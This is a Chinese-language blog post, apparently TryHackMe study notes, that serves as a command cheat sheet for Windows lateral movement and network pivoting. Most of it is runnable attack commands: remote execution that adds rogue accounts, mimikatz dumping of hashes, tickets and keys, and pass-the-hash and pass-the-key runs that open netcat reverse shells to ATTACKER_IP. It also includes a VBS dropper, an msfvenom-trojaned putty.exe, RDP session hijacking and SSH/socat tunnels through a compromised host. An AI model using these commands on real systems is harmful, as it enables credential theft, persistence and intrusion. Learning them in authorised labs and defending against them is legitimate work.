内网windows横向移动及ssh建立端口转发

横向移动与旋转

远程生成进程

# PSexec

## 条件
端口:445/TCP(smb)
所需的组成员身份:管理员
## 下载位置
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
## 使用
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe

# WinRM
## 条件
端口:5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:远程管理用户
## 使用
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

# powershell替代WinRM
我们可以从 Powershell 实现相同的目的,但要传递不同的凭据,我们需要创建一个 PSCredential 对象:

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
获得 PSCredential 对象后,可以使用 Enter-PSSession cmdlet 创建交互式会话:

Enter-PSSession -Computername TARGET -Credential $credential
Powershell 还包括 Invoke-Command cmdlet,它通过 WinRM 远程运行 ScriptBlocks。凭据也必须通过 PSCredential 对象传递:

Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

# ps
msf快捷使用
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"

远程生成服务

# 使用 sc 创建服务
## 条件
端口:
  135/TCP、49152-65535/TCP (DCE/RPC)
  445/TCP(基于 SMB 命名管道的 RPC)445/TCP (RPC over SMB Named Pipes)
  139/TCP(基于 SMB 命名管道的 RPC)139/TCP (RPC over SMB Named Pipes)
所需的组成员身份:管理员
## 使用
### 创建新用户
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
### 停止和删除服务
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice

远程创建计划任务

# schtasks
## 使用
### 创建计划任务
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 
schtasks /s TARGET /run /TN "THMtask1"
### 删除计划任务
schtasks /S TARGET /TN "THMtask1" /DELETE /F

使用WMI 横向移动

连接到wmi

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

#建立wmi会话
## DCOM
RPC over IP 将用于连接到 WMI。此协议使用端口 135/TCP 和端口 49152-65535/TCP,如使用 sc.exe 时所述。
## winRM
WinRM 将用于连接到 WMI。此协议使用端口 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
## powershell
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

使用wmi创建远程进程

# 使用wmi创建远程进程
## 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员
## 使用
### powershell
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
### 在旧系统中可以使用wmic
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"

使用wmi远程创建服务

# 使用wmi远程创建服务
## 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员
## 使用
### powershell
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
# 启动命令
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
# 停止或删除服务
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

使用 WMI 远程创建计划任务

# 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员

# 使用
## powershell
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"


通过wmi安装msi包

# 需求
端口:
135/TCP、49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
所需的组成员身份:管理员

# 使用
## powershell
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

# 我们可以通过在遗留系统中使用 wmic 来实现相同的目的:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

使用备用认证材料

提取NTLM哈希

# 从本地SAM中提取NTLM哈希
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam 

# 从LSASS内存中提取NTLM哈希
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv 

# mimikatz使用
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"

# linux传递哈希值
## 使用PtH连接到RDP
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
## 使用linux版本PSexec
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
## 使用WinRM
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

Kerberos认证

#提取票据
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# 将票证注入当前会话
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
# 检查票证
klist

密钥传递

# 获取加密密钥
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys

传递密钥并获取反弹shell
# RC4
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# AES128
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
# AES256
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

滥用用户行为

滥用可写网络共享

当存在共享文件,并且有用户拉去他并执行时,可获取反弹shell
举例
# .vbs脚本(假设有nc)
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
#假设有.exe文件(msf注入)
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe

RDP劫持

如果你在 Windows Server 2016 及更早版本上具有 SYSTEM 权限,则无需密码即可接管任何现有 RDP 会话
# 以管理员身份运行cmd或者运行命令
PsExec64.exe -s cmd.exe
输入:
query user(当看到有disc即可接管,active也可以接管但会顶下合法用户)
tscon 3 /dest:rdp-tcp#6

端口转发

ssh隧道

## 创建用户

useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser

#SSH远程端口转发
攻击机A(1.1.1.1),已沦陷B(2.2.2.2),待攻击C(3.3.3.3)

ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N(B运行,访问A3389,如同利用B访问C3389)

#本地端口转发
攻击机A(1.1.1.1),已沦陷B(2.2.2.2),待攻击C(3.3.3.3)
ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N(B运行,将A的80端口开放至B的80端口可以让C反弹)

打开入方向防火墙
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

socat进行端口转发

攻击机A(1.1.1.1),已沦陷B(2.2.2.2),待攻击C(3.3.3.3)
# 远程端口转发
socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389(B运行,访问B3389如同访问C3389)
# 本地端口转发
socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80(B运行,监听A80端口,如同监听B80端口)

动态端口转发和socks

ssh tunneluser@1.1.1.1 -R 9050 -N
编辑 /etc/proxychains.conf配置代理链
proxychains curl http://pxeboot.za.tryhackme.com #代理使用

更多关于横向移动的方法

# 穿梭机

https://github.com/sshuttle/sshuttle

# rpivot

https://github.com/klsecservices/rpivot

# chisel

https://github.com/jpillora/chisel

# 使用 Shadowmove 劫持套接字

https://adepts.of0x.cc/shadowmove-hijack-socket/
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Windows 11上进行SSH端口转发,可以使用ZOC软件来实现。ZOC支持SSH代理转发技术,可以在辅助SSH会话中提供身份验证的密钥。这意味着您可以通过在远程shell中键入ssh命令来实现与第三个服务器的SSH连接,并无需再次输入密码,只需使用之前的SSH密钥对进行验证。 此外,如果您需要在Windows 11上运行带有图形用户界面的程序,比如X11应用程序,您也可以使用SSH来实现。X11是一种通信协议,允许在远程计算机上运行带有图形用户界面的程序。通过SSH,在SSH客户端和服务器之间传递X11通信,您可以在远程shell上运行X11命令,并在本地计算机上显示窗口。 需要注意的是,如果您想要实现外网能够访问内网的主机,并进行SSH端口转发,您需要确保防火墙放行了SSH的22端口。此外,通过SSH协议传输的数据是被加密的,确保了数据的安全性。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [mac删除ssh key_好用的mac终端命令仿真工具](https://blog.csdn.net/weixin_39985820/article/details/109956729)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ssh端口转发](https://blog.csdn.net/studywinwin/article/details/104367123)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值